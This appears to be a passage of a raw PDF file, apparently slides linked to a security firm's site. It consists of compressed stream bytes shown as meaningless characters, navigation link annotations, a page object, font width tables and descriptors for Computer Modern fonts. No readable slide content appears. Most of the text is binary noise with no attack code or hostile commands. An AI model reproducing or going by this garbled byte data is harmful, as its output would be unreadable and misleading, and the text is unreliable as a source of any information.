b5q:lnJCyl`oy8GDX߾,lM~TT̨r$c-#Ie\Ө(Z}$UH7I7,vEü╅̄&K$ FA,k:1ҬWMjYx#U?1[[o6 pяc[ ĊJ?j:GRh8QS/ "-Q  %* {ihkP(9!D3ny|S ˈ6Q.*"Y`4A$s:v%㚝D!#N'R_zq6|ng) @51I_+=V $ PenMۄVmls!B:,2*K6"+M/%OŰSor炏 ֵ$uA l898AEflWtv,J8 OU;Oh-[D`HO7 5H_ENzƂqkepQ|tɖ|DQ欝tEmmiRYBA.bwts&U jRzDImA.N{B0wBlab (PRxr5jo^Eh/%(ID_/|v O7bjb(Tj +ܵ$7祡+?3!#ǛZ,u326;?!6M;Ñ*A}7p+Wq|I(,ZH&3lQ:;($jTOj \)Yv ]"\OqQ sRVۭ J[m.2opi&0Un54$HUTЊBzVC NK)5ȩ\hj7(> ה5="+6ꎭoA! q$: Ó %I?IO录(GQzMv$͙ NcM&:]hHR!Jz,-Zy)+I!IP<"ƪ)n% A8AAsiP|ϰ7G`o &ĥ.LnkLp$mŤavM:)CM6Ϛh!H#%6)#}֢2nn\m*.IXHK#ku!5 }Uwg=ZGj5݁ymLZXKAOiҬƥҒtU6)w\3$R"Tpׁ򎯯ˌLRfy%qW?cz(;=?ݸ(Ӥv(ayG[s)[+93m+ &FBѾO9SmL1YD!w{/jťD( w[w4UvnLvqϧδYE-qDžA(h$P_%6Ԃ0TO28P+i>UqI֊?]{=Yp09b,Tmڤ)i'PiRƵD(@Q}%} 8)0b_n$!iTRDMٝde=ր>(|LҊ9Hޓ?[U9-FɾLu nZy <,)UW[a }MA@pr1V{Y6NuuoJ֟G0* QAwm5u=c9x@*?i_$jAuo8 AY65ʁ@P((fmKtqy$ Ҵ(j}Z%M7n(]I6A…jQڛmKr&I<͌ 81(9rR[CO-Ab`ab+07ö)PiO=oQ[@P( @P( G7k' v{md$id_MY6%N&N9Kh\q<|yP`DJf1β{XmZTeIIZ(06SWƶ؎n,ݽjnF\ߕJAYz@P( @P(#Ӯ2:SɰHbH cKXstxUF=~|:EC|İ%QHqB:N6ŽdJ2tBrbvFCKsCH$^e%ExSzcxJx yfeM{7!q_b6NWe&5˝818Xl<@m=XN( @P( @:[1-*ɴ7(IBnx>>LgYRu Tb=k!; 7k Y\eicT<[)"3]cT0Wq&Z%8+l9ZGʥ%@<5BA @P( @P(ׯE7j~ֱ9\D'WTuV$kރLlg3Fs۽?1cˊiAаBGaQA ňe-#\>_Ԭ+Ju 2yR՞t]~qawیt!̮~%ؓ(CǍ|XuAyKtn_j.PkVǝW⥫.j@P( @P( E4wNwյg,in$x,ablTX!q0߹BGPD~)vfFUzZ>֖}1m6tڸfD3r;O"E@P( @P( @P( @P( @P(? endstream endobj 1208 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 1209 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation27) >> >> endobj 1210 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 1211 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1212 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation27) >> >> endobj 1213 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1214 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1215 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1216 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1217 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1218 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1219 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1220 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 1221 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1222 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1223 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1224 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1225 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1226 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 1227 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 1228 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 1229 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1230 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1231 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1232 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1233 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1234 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1235 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1236 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F56 205 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Fm21 854 0 R /Im7 118 0 R /Im10 1207 0 R >> /ProcSet [ /PDF /Text /ImageC ] >> endobj 1237 0 obj << /Type /Page /Contents 1238 0 R /Resources 1236 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 1139 0 R /Annots [ 1208 0 R 1209 0 R 1210 0 R 1211 0 R 1212 0 R 1213 0 R 1214 0 R 1215 0 R 1216 0 R 1217 0 R 1218 0 R 1219 0 R 1220 0 R 1221 0 R 1222 0 R 1223 0 R 1224 0 R 1225 0 R 1226 0 R 1227 0 R 1228 0 R 1229 0 R 1230 0 R 1231 0 R 1232 0 R 1233 0 R 1234 0 R 1235 0 R ] /AA << /O << /N /FirstPage /S /Named >> >> >> endobj 1238 0 obj << /Length 2407 /Filter /FlateDecode >>stream x]oݿbrx?Rg;ڻZvXRk}I׮%&EػrH!uÛ7|))y (+WN2!ms7km } o8B) O%vLo:vc\\*)&9%2)LpycFFXhۅkVcf[,[c'qљSNKuc;OߏGnJ栾ߢkJ Zpda MӮB`ШP÷ Sv}R3 28h{kr͈ l,N/O>-cř7u&}^1.".)RTO0g+pf~ώ1@stP̢>[3|V?]Mqs wHbx endstream endobj 1239 0 obj << /D [ 1237 0 R /XYZ 334.488 1.245 null ] >> endobj 1240 0 obj [ 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 ] endobj 1241 0 obj [ 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 ] endobj 1242 0 obj [ 1027.8 ] endobj 1243 0 obj [ 339.3 ] endobj 1244 0 obj [ 892.9 ] endobj 1245 0 obj [ 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 ] endobj 1246 0 obj [ 777.8 777.8 777.8 777.8 777.8 777.8 777.8 777.8 1000 1000 777.8 777.8 1000 1000 500 500 1000 1000 1000 777.8 1000 1000 611.1 611.1 1000 1000 1000 777.8 275 1000 666.7 666.7 888.9 888.9 0 0 555.6 555.6 666.7 500 722.2 722.2 777.8 777.8 611.1 798.5 656.8 526.5 771.4 527.8 718.7 594.9 844.5 544.5 677.8 762 689.7 1200.9 820.5 796.1 695.6 816.7 847.5 605.6 544.6 625.8 612.8 987.8 713.3 668.3 724.7 666.7 666.7 666.7 666.7 666.7 611.1 611.1 444.4 444.4 444.4 444.4 500 500 388.9 388.9 277.8 ] endobj 1247 0 obj [ 550 550 550 550 733.3 488.9 565.3 794.5 855.6 550 947.2 1069.5 855.6 255.6 366.7 558.3 916.7 550 1029.1 830.6 305.6 427.8 427.8 550 855.6 305.6 366.7 305.6 550 550 550 550 550 550 550 550 550 550 550 305.6 305.6 366.7 855.6 519.4 519.4 733.3 733.3 733.3 702.8 794.5 641.7 611.1 733.3 794.5 330.6 519.4 763.9 580.6 977.8 794.5 794.5 702.8 794.5 702.8 611.1 733.3 763.9 733.3 1038.9 733.3 733.3 672.2 343.1 558.3 343.1 550 305.6 305.6 525 561.1 488.9 561.1 511.1 336.1 550 561.1 255.6 286.1 530.6 255.6 866.7 561.1 550 561.1 561.1 372.2 421.7 404.2 561.1 500 744.4 500 500 476.4 ] endobj 1248 0 obj [ 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 525 ] endobj 1249 0 obj [ 556.1 652.8 686.3 266.2 459.5 674.2 528.9 849.5 686.3 722.2 622.7 722.2 630.2 544 667.8 666.7 647 919 647 647 598.4 283 489.6 283 489.6 272 272 468.7 502.3 435.2 502.3 435.2 299.2 489.6 502.3 230.3 257.5 475.1 230.3 774.3 502.3 489.6 502.3 502.3 332.8 375.3 353.6 502.3 447.9 665.5 447.9 447.9 ] endobj 1250 0 obj [ 550.9 550.9 836.4 836.4 245.4 273.9 513.9 513.9 513.9 513.9 513.9 686.7 456.8 493.8 742.3 799.4 513.9 885.8 1000 799.4 245.4 325.6 513.9 856.5 513.9 856.5 779.3 285.5 399.7 399.7 513.9 799.4 285.5 342.6 285.5 513.9 513.9 513.9 513.9 513.9 513.9 513.9 513.9 513.9 513.9 513.9 285.5 285.5 325.6 799.4 485.3 485.3 685.2 686.7 686 656.6 743 617.3 588.7 685.2 726.8 287 486.1 715.3 560.2 898.1 726.8 759.3 657.4 759.3 665.9 571 702.2 706.8 686.7 972.2 686.7 686.7 628.1 298.6 513.9 298.6 513.9 285.5 285.5 493.8 530.9 456.8 530.9 456.8 314 513.9 530.9 245.4 273.9 502.3 245.4 816.3 530.9 513.9 530.9 530.9 351.1 394 371.1 530.9 473.8 702.2 473.8 ] endobj 1251 0 obj [ 583.3 536.1 536.1 813.9 813.9 238.9 266.7 500 500 500 500 500 666.7 444.4 480.6 722.2 777.8 500 861.1 972.2 777.8 238.9 319.4 500 833.3 500 833.3 758.3 277.8 388.9 388.9 500 777.8 277.8 333.3 277.8 500 500 500 500 500 500 500 500 500 500 500 277.8 277.8 319.4 777.8 472.2 472.2 666.7 666.7 666.7 638.9 722.2 597.2 569.4 666.7 708.3 277.8 472.2 694.4 541.7 875 708.3 736.1 638.9 736.1 645.8 555.6 680.6 687.5 666.7 944.5 666.7 666.7 611.1 288.9 500 288.9 500 277.8 277.8 480.6 516.7 444.4 516.7 444.4 305.6 500 516.7 238.9 266.7 488.9 238.9 794.4 516.7 500 516.7 516.7 341.7 383.3 361.1 516.7 461.1 683.3 461.1 461.1 434.7 ] endobj 1252 0 obj [ 333.3 277.8 500 500 500 500 500 500 500 500 500 500 500 277.8 277.8 319.4 777.8 472.2 472.2 666.7 666.7 666.7 638.9 722.2 597.2 569.4 666.7 708.3 277.8 472.2 694.4 541.7 875 708.3 736.1 638.9 736.1 645.8 555.6 680.6 687.5 666.7 944.5 666.7 666.7 611.1 288.9 500 288.9 500 277.8 277.8 480.6 516.7 444.4 516.7 444.4 305.6 500 516.7 238.9 266.7 488.9 238.9 794.4 516.7 500 516.7 516.7 341.7 383.3 361.1 516.7 461.1 683.3 ] endobj 1253 0 obj [ 571.2 523.1 523.1 795.1 795.1 230.3 257.5 489.6 489.6 489.6 489.6 489.6 647 435.2 468.7 707.2 761.6 489.6 840.3 949.1 761.6 230.3 311.3 489.6 816 489.6 816 740.7 272 380.8 380.8 489.6 761.6 272 326.4 272 489.6 489.6 489.6 489.6 489.6 489.6 489.6 489.6 489.6 489.6 489.6 272 272 311.3 761.6 462.4 462.4 652.8 647 649.9 625.6 704.3 583.3 556.1 652.8 686.3 266.2 459.5 674.2 528.9 849.5 686.3 722.2 622.7 722.2 630.2 544 667.8 666.7 647 919 647 647 598.4 283 489.6 283 489.6 272 272 468.7 502.3 435.2 502.3 435.2 299.2 489.6 502.3 230.3 257.5 475.1 230.3 774.3 502.3 489.6 502.3 502.3 332.8 375.3 353.6 502.3 447.9 665.5 447.9 447.9 424.8 ] endobj 1254 0 obj [ 354.2 295.1 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 295.1 295.1 336.8 826.4 501.7 501.7 708.3 708.3 708.3 678.8 767.4 637.2 607.6 708.3 750 295.1 501.7 737.9 578.1 927.1 750 784.7 678.8 784.7 687.5 590.3 725.7 729.2 708.3 1003.5 708.3 708.3 649.3 309 531.3 309 531.3 295.1 295.1 510.4 548.6 472.2 548.6 472.2 324.7 531.3 548.6 253.5 283 519.1 253.5 843.8 548.6 531.3 548.6 548.6 362.9 407.3 383.7 548.6 ] endobj 1255 0 obj [ 619.8 569.5 569.5 864.6 864.6 253.5 283 531.3 531.3 531.3 531.3 531.3 708.3 472.2 510.4 767.4 826.4 531.3 914.9 1033 826.4 253.5 336.8 531.3 885.4 531.3 885.4 805.6 295.1 413.2 413.2 531.3 826.4 295.1 354.2 295.1 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 295.1 295.1 336.8 826.4 501.7 501.7 708.3 708.3 708.3 678.8 767.4 637.2 607.6 708.3 750 295.1 501.7 737.9 578.1 927.1 750 784.7 678.8 784.7 687.5 590.3 725.7 729.2 708.3 1003.5 708.3 708.3 649.3 309 531.3 309 531.3 295.1 295.1 510.4 548.6 472.2 548.6 472.2 324.7 531.3 548.6 253.5 283 519.1 253.5 843.8 548.6 531.3 548.6 548.6 362.9 407.3 383.7 548.6 489.6 725.7 489.6 489.6 461.8 531.3 ] endobj 1256 0 obj << /Length1 1191 /Length2 5104 /Length3 0 /Length 5853 /Filter /FlateDecode >>stream xڭe\[PJzKjff% ) iDJPDA$RDyssH Їb0C"A@_ ㏀)` H4%  k3ę,1h B2j!pN?L;W??POGB0^~X@Gjӝ>ꁄ]=1P\O髉 DXCF66@jSMKU#(5 Bߌ2`+q_aH+@BZQ&GҀ0#@cp `|(~] K IVMo ~n$g$ ߄b $ &3 7C oUw>P,aKma@\2Ƒ.}|a?pgw1!b{ݮL|p>q.H#4%2L]՜o^4(w+2L!8cݑtY{z [SP,5Pq)؎`Zs\^"_y_>bK$8 C]̆ndQ>uaiٮ3W6j{sgiH#TRJrz|Cm^ddB[)( 󇪮л=@N }- l 9>6Iv6x۳'}#b,ytcIWfVĈ>*'eꁮ^בf\V=ۻ^/ނ쬳%'m7|%!HXv/kf^lOͼRY]_YZ a;yDyp݌wֻãZ;w&C)_^{Z2'*jzӋ1I/i^7va6&r97 ^s bcܱKcZ @,AP=Ymbo!qd!v]z|ذ^OZ!MA{ͬx'fMzlǰf# oLQs4a(׎[a ,5 aSo%l{75LFE7{& tV˩`l1NgEtHw750M I'5M$#ŤUO?Z+ڞ~fhGY*D+ {% ;4Ez; ڈv%FD`^ͭW? o!naVB2b=9Y Ua5U2~Qvڊc^hYoAjrFkQQp}ÏU۪j)ɳY̛5ݪ W6]gY%NJLj)әq@{:SyPj?|9Yėc5.J`>3:LFKf2wU};\ъ)i}FMw_7M};״ī9b"$cpX*ء\#xe2r$KMA{u-4AV sPtٷxPasOkF2u&JFXώ;\g)g-ZJ[a6fHx"Jlt)_,`爭R}fyFgul9)IBҝWGf D TX$𒚁NpcԲPOQNZiAhUoY,ޡW 9_s^O[ƕvm+*|݋.Kh~A~rGkBustb sf[jV _ fA?( E6:- Iht錍#uܒR2տb!cVicՕ{$PiF]\`JB'$$wgp#Ypg7zt*.صec- C6o 6[797U hCQCQy鯤"4W)&FM+1sŮ%jG'W"VN:%XLD9|;:kJ([ZЕF^L<[wQ;Yno8se;͕P8ƨWkt ΀8I2Y}i㣽XZݍ8q-?KU;Nio?euy Fdz*qFqDǐVx0>)|Gx!~xdw+ꍰ[fQC|Y`їLmE$2#Eu e`a(X\^GBJs7Yz\H/inmz@ѷhk'ȿvPDJRSu)?g7i;[+a<'~&$YJ]TМm[X(; etl]uT%2NJY-殡lO'մz*=2Ek]V/?j.%5ewwMJ mz]-z6?iPG,N%Zh)iW/αH>Αr4p{~ѫ0КlRtu_D2OE˝Mj̆z/óMS Cʟw~Z z<ɻYTwUMn%˷^%1q.>w㛸dNN[ɲH +ל<} q򍴁(z(ぇ\>y]W+!8P!'VGiZxӒI~jkҲ]<[c$EĶsSK*eY'n`t<}JsVӆ R}!Qong6mt2 C>*gɓkѠ4JSM 4>zq÷.BpQl5.gX;VJGi_&ZtcLm9ıg \a}QAŢ>o#NDCZ%0%Y"QE:{ ~Ea5[3SW%Pz6wMfidi{Xc;((A @A4<֘gǜLK5Љ>ԦѪ,znB6=e̘P!.Cj>R!yEo-=%Gm"f2?ҥ3SgQޤgV2-MRs2|)%^uߤw:O) {8drlzlڊNf0wT%p"H5t"~y~A,لׯOiOx!?H_HQTh: g)"|bky0QBsӤ[4@k֜Ŵ#خO뺲KKkO{"/wSFwqGoӊwzcgfAbF54 C(쐲<ЂAuC^6/lU:i^sfXdB55e[*Ϳյ*5LZ)foU$:*ovJQwez{|F$^!7'3}}x<`.`s ,oޔnc(i*J8I'[e5T( GdX g 4]7K\ ͫW7_p}$ ꗷ/9']Gy)iɿy\Y8WfwL5}!YYbI{WUk|:z{ooKYuv|i;$6CU'| [pgp&xt΂lFOרOQFLQ3,D Iၯ޼yVXrsZv(]EᅀN)+$SC{hc%mȓh]2Y{ _?}]^⯔%ɾcm⽭^5oSzyiAL VUX[d&`4nCOw*lĞ{W9}TF˱a6 -`pl 1.|F}ŴU3s$O4}g9cn0+g]6<[(ִkXwpCZa<g}-m-OxX()IIѡPA<|\ !]L,dKR?s򊅦3w샪($nx_ 1+` S$3((v _(u7CZ]ZC'c(L? V|y&iNn#S֥ e wƌ}=9 7FEObÖQC9δz͋)>$*lDݮT #x+_>|'IE\u⋆ V.-BM*8{B7'$ӣiA8 endstream endobj 1257 0 obj << /Type /FontDescriptor /FontName /AVCSFW+CMITT10 /Flags 4 /FontBBox [ 11 -233 669 696 ] /Ascent 611 /CapHeight 611 /Descent -222 /ItalicAngle -14 /StemV 69 /XHeight 431 /CharSet (/B/E/F/I/N/O/P/R/S/T/U/V/a/b/braceleft/braceright/colon/comma/e/equal/greater/numbersign/o/parenright/r/s/underscore/v) /FontFile 1256 0 R >> endobj 1258 0 obj << /Length1 747 /Length2 1013 /Length3 0 /Length 1538 /Filter /FlateDecode >>stream xڭ{8Ti#Q#%]57NEf^͜3;sF3b\QHtJЅn& )mk+mUY9~[a'VC ũL/6 Ύ"Pw]q*)pl%>&(8)C"6ɠP PFxERkh'C;`1TBEHL& bJ!ya`jKTϣ(PPaH J5@Ht?8 ,HsT' X$CL¡0 T#'6 *ȩ."b.t1>!#@H}JF s Q|"=PLjab׸ȌfR֙l>Jju5W\_7#}N%av"7M-(^C+d6~¬MmQ%g|;V[ N ڸfF=ǻI!+piG[w=l128wFҖ5ͦZQ6s#:[}gvN_/r/N JYgյ&>[dFF(? >ǎē'UN; *k3R!ȂD1is9]g)T|Gޗ21`|L>G+x|Q^Tio;ܴudc~{B*{JQnU m MK ɗ#*(W Fer=eg?7QM"ǤlS|J<|NM꺠ǓW 7o_e-|o;is|y֧9$e/~9#2n0R. jn̉8+gQ^+E]o"欿boz/U frmqV7=qbgw1fp8No=F '~EjCQ3%ΜZ竍[{_sty_P5kmڜugZ}qrܷ݊DzܒmSrvt_ߟUcl*43] fbm[׉kJ$|4< sJiy_3^O{fr޳UzZ#Lut8v?2"]_qigmzj6}'n_L7\n. o/paS}Dzzw| ^cfacm'ruƬp]PCĜv[ &%S5^k>+k[UUV^c,{HkdlY6H)_Q`òS&̦O/TL6 5)0M endstream endobj 1259 0 obj << /Type /FontDescriptor /FontName /SRDPYF+CMMI7 /Flags 4 /FontBBox [ 0 -250 1171 750 ] /Ascent 694 /CapHeight 683 /Descent -194 /ItalicAngle -14 /StemV 81 /XHeight 431 /CharSet (/comma) /FontFile 1258 0 R >> endobj 1260 0 obj << /Length1 1988 /Length2 9038 /Length3 0 /Length 10107 /Filter /FlateDecode >>stream xڭe\iVkZrXFAk.Ii閔zSx ߙ74j q G3 ;+@RbgaHMlLv~~v H::yXY%.6eS7k=<)r4y!Ɵ +l1wl0*wtlo^^$^ `8µJe!S?ѥ7x+ Pv8o)-l+f 1wl4ٸx-ḽW?`-޸ԔՐVgDT3qprO?`G`?v0wq7 pl,'b ? ƟpL$Px@G2>(H#q WWz$#U ⃫=\]W=\]z$@;\Z~xuf8*@3ٸ[Bmho8jW e߿-bjWx,~/i ~Dn?XãpGwVo ֏Ww C >\Gl*O7v/7zNnx2'Sl8.Y]k6\I!s[qw+?8?vx1?FG7t9-/IX 7SWWx< x>^E BgS%$=}XO &~_q. -m0ls\066_WTFD xf̠DHwEgJ MM*-kdAs|fw=q׆ˋ]ډ=nDձŁdه=jR <3yxue2 Za!iE\a PD ۰'0#&wOOr /7ǠWMlUHksټ9M:7QAҸ[RSY+_ a+y8(5+8`!ω^q~dEcgpn, 8:>+>hڋlbpLl d mR{Qbv[iU\Nd޹Vo΢7ׯt u!%Nb0 /Xr{:b4ޭx TO/?.u}߼˿Lfb9׹Ő@-2$.}RUO2SJ8ekrͣfL^=OoaG|A^<7hf\# wл䄝<3h>l'粚'h;ԾufK SRZC"gm%0Z(L(^|$2XɕLz{^1mS[|]YXEORZ7Up8+^Ɲ`FK#!a[;s3ejMq~5[SsiJ{ .iv/Jbf1TK@s;iQl2Tw~Wt -<EjJW-g,8NS E wg2Aڃi2Uy|Ԯ؞H8BN"pp@~LAB"ִ6QD}DSB:.SnULSjeě|6wSWjS 2h=-Мؚڸ/Cex))s|[܉Yt0,&f :8R pRR/-C^Ű[)*Rr}<`\ĉϾ#l`yIٹ(X"=jg ّ|>dIցѦoBAph C p_f&M]EJ,sxuW)m-f4| .SoA+EHD?:uc mв~dLz*@E6wM({5HsrC MWτE_#N֮9|Ad<#]8 -{$Nw̩Η.m_dw*ob˸J$4Y=ҽ>A[3gԁz;~{ȳ9O۴ F.3/!JUJ M+pŠM6(Ko!/Mҩ ! .8O`b7 =;*mܭ #8UW-!:SCLDb%`#Kr057oحkG5';UYIQhL@!a|TϹ/AؿvkFYʪX4Ava.GYuӟqP"L3+eAzk% e)}8Ap}%Z"3\&[DoNF>(fhaԁ= uu^ Eqcx,-23 X\upV; Ϊ@ 36/@+kU(K?tn4 ] kmHڸlO(KVUhAUQA=z>mʌ4U).j=^3Y̻{#;.3!oŊ6Mks_SM`ʐV4pum7ocuSRQ6-[#Ɠ ,]MFdHø,ߔe/S5yk,z,kh{ &ܠ:` Pri~*(Fz<[>r9mVِ_Pfe8, @Ly.GUŽ_ "Rn'6\CcTv&)hҺ~i\Kl {]O0Ę/:V Ẁ!bkj5Uu=%|nK%u]a}yХDbV QRUfɞ1m ;)4? M*H^L!CAEdg(k MYA%F&u*\9yL80UV=2X m"IB]M L{7scf}w._}̎7Ɉ Y,%l䓬[z%r,٥ 4'qN+s" r&8՘fS:(qKN82wXo] E Fp$䠞\a5a ~M=(6jSBJޖTyjj|\#^LLs"e$7 T&JRU͞K,3]mȂs)ۄTTQof7iӢ#nEU (>'#` A79h5q@]]/г>r;+n 8mSoI 3I)\f#3>͆B Fne-/8<F,r׶cQ곬.8IXV3ϡ3WK7)&REr⦊GW/~^nf?]PiOV滇s!> ycb?ד;+9Y>;;n"L/(+Ԉπ;_Qtn)D_nţ:!˃{ u.!hBI1,Ȝ5; kVա{ SM|ri,TxzNo|'gf' ;$e#eOX;00i,I5sjyɫb4`j0g;q_ߠdUbe-Z1FHS'~΃r;ڸJ{B.d$s̛krS6({m"Ē?`¢жW̋i k|^v5|Sy6dIo̸BLmL _i>PdT~]*v˽J/r4`.Bj͸kif|g4@?6Zҡqn oug~[p@tx[g>Tl-=C ٗTڣj]L,)3Qj ~>ajCj~D/Y|H'&sVx#B7ԳLCWY>$+IB^]pTzU$t>uSkrv`N+hW5&[X.F۲f=&@d7N2"zF=I^zGwO^塺Í $,5P=0)V?4^0cPt2x9XݥP]KԁufW .ov$Bjb/&S.9\eFԐҝҍnV6U0tL19~4Xv@,s3F+ЂrKP1?iyx& ! V—Er3msr 뻱3"[m|ZAĂ?m Lu%*X8Kƌܵ˷ie4)d;iU3HLtpFrctX~Z /?hjime'~!}} 